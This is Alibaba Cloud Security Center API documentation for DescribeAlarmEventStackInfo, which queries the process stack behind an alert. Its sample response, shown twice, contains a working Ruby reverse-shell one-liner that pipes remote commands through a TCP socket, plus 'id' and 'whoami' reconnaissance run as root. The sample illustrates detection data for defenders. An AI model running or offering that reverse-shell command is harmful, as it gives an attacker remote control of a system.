All Products
Search
Document Center

Security Center:DescribeAlarmEventStackInfo

Last Updated:Feb 20, 2024

Queries the stack information about an alert event.

Debugging

OpenAPI Explorer automatically calculates the signature value. For your convenience, we recommend that you call this operation in OpenAPI Explorer.

Authorization information

The following table shows the authorization information corresponding to the API. The authorization information can be used in the Action policy element to grant a RAM user or RAM role the permissions to call this API operation. Description:

  • Operation: the value that you can use in the Action element to specify the operation on a resource.
  • Access level: the access level of each operation. The levels are read, write, and list.
  • Resource type: the type of the resource on which you can authorize the RAM user or the RAM role to perform the operation. Take note of the following items:
    • The required resource types are displayed in bold characters.
    • If the permissions cannot be granted at the resource level, All Resources is used in the Resource type column of the operation.
  • Condition Key: the condition key that is defined by the cloud service.
  • Associated operation: other operations that the RAM user or the RAM role must have permissions to perform to complete the operation. To complete the operation, the RAM user or the RAM role must have the permissions to perform the associated operations.
OperationAccess levelResource typeCondition keyAssociated operation
yundun-sas:DescribeAlarmEventStackInfoRead
  • All Resources
    *
    none
none

Request parameters

ParameterTypeRequiredDescriptionExample
SourceIpstringNo

The source IP address of the request.

192.168.XX.XX
LangstringNo

The language of the content within the request and response. Default value: zh. Valid values:

  • zh: Chinese.
  • en: English.
zh
UuidstringYes

The UUID of the server to query.

Note You can call the DescribeSuspEvents operation to query the UUIDs of servers.
18b7336e-d469-473b-af83-8e5420f9****
EventNamestringYes

The name of the event.

Note You can call the DescribeSuspEvents operation to query the names of events.
Mining program
UniqueInfostringYes

The ID of the alert event.

1fbe8d16727f61d1478a674d6fa0****
ResourceDirectoryAccountIdlongNo

The Alibaba Cloud account ID of the member in the resource directory.

Note You can call the DescribeMonitorAccounts operation to obtain the IDs.
127608589417****

Response parameters

ParameterTypeDescriptionExample
object

The returned data.

StackInfostring

The stack information of the alert details.

\[ { "child": \[ { "child": \[ { "child": \[ ], "data": { "cmdline": "id", "proc_path": "/bin/id", "pid": "\[3033]" }, "description": { "extend": \[ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } }, { "child": \[ ], "data": { "cmdline": "whoami", "proc_path": "/bin/whoami", "pid": "\[3035]" }, "description": { "extend": \[ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "cmdline": "/bin/bash -c 'id && whoami'", "proc_path": "/bin/bash", "pid": "\[3022]" }, "description": { "extend": \[ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "src_ip": "0.0.0.0", "cmdline": "ruby -rsocket -e exit if fork;c=TCPSocket.new(\\"0.0.0.0\\",\\"1111\\");while(cmd=c.gets);IO.popen(cmd,\\"r\\"){|io|c.print io.read}end", "file": "ruby", "login_port": "22", "login_type": "Password", "proc_path": "/usr/bin/ruby", "dst_port": "1111", "pid": "3011", "user": "root", "dst_ip": "0.0.0.0", "log_time": "2020-01-20 09:00:00" }, "description": { "extend": \[ { "content": "${tpl_netstat}", "content_type": "text" } ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ]
RequestIdstring

The ID of the request.

ECC6B3E3-D496-512D-B46D-E6996A6B63EE

Examples

Sample success responses

JSONformat

{
  "StackInfo": "\\[ { \"child\": \\[ { \"child\": \\[ { \"child\": \\[ ], \"data\": { \"cmdline\": \"id\", \"proc_path\": \"/bin/id\", \"pid\": \"\\[3033]\" }, \"description\": { \"extend\": \\[ ], \"main\": { \"content\": \"${pid} ${cmdline}\", \"content_type\": \"markdown\" } } }, { \"child\": \\[ ], \"data\": { \"cmdline\": \"whoami\", \"proc_path\": \"/bin/whoami\", \"pid\": \"\\[3035]\" }, \"description\": { \"extend\": \\[ ], \"main\": { \"content\": \"${pid} ${cmdline}\", \"content_type\": \"markdown\" } } } ], \"data\": { \"cmdline\": \"/bin/bash -c 'id && whoami'\", \"proc_path\": \"/bin/bash\", \"pid\": \"\\[3022]\" }, \"description\": { \"extend\": \\[ ], \"main\": { \"content\": \"${pid} ${cmdline}\", \"content_type\": \"markdown\" } } } ], \"data\": { \"src_ip\": \"0.0.0.0\", \"cmdline\": \"ruby -rsocket -e exit if fork;c=TCPSocket.new(\\\\\"0.0.0.0\\\\\",\\\\\"1111\\\\\");while(cmd=c.gets);IO.popen(cmd,\\\\\"r\\\\\"){|io|c.print io.read}end\", \"file\": \"ruby\", \"login_port\": \"22\", \"login_type\": \"Password\", \"proc_path\": \"/usr/bin/ruby\", \"dst_port\": \"1111\", \"pid\": \"3011\", \"user\": \"root\", \"dst_ip\": \"0.0.0.0\", \"log_time\": \"2020-01-20 09:00:00\" }, \"description\": { \"extend\": \\[ { \"content\": \"${tpl_netstat}\", \"content_type\": \"text\" } ], \"main\": { \"content\": \"${pid} ${cmdline}\", \"content_type\": \"markdown\" } } } ]\n",
  "RequestId": "ECC6B3E3-D496-512D-B46D-E6996A6B63EE"
}

Error codes

HTTP status codeError codeError messageDescription
400NoPermissionno permission-
400RdCheckNoPermissionResource directory account verification has no permission.-
403NoPermissioncaller has no permissionYou are not authorized to do this operation.
500RdCheckInnerErrorResource directory account service internal error.-
500ServerErrorServerError-

For a list of error codes, visit the Service error codes.

Change history

Change timeSummary of changesOperation
2023-07-20The Error code has changed. The request parameters of the API has changedsee changesets
Change itemChange content
Error CodesThe Error code has changed.
    Error Codes 400 change
    Added Error Codes: 500
Input ParametersThe request parameters of the API has changed.
    Added Input Parameters: ResourceDirectoryAccountId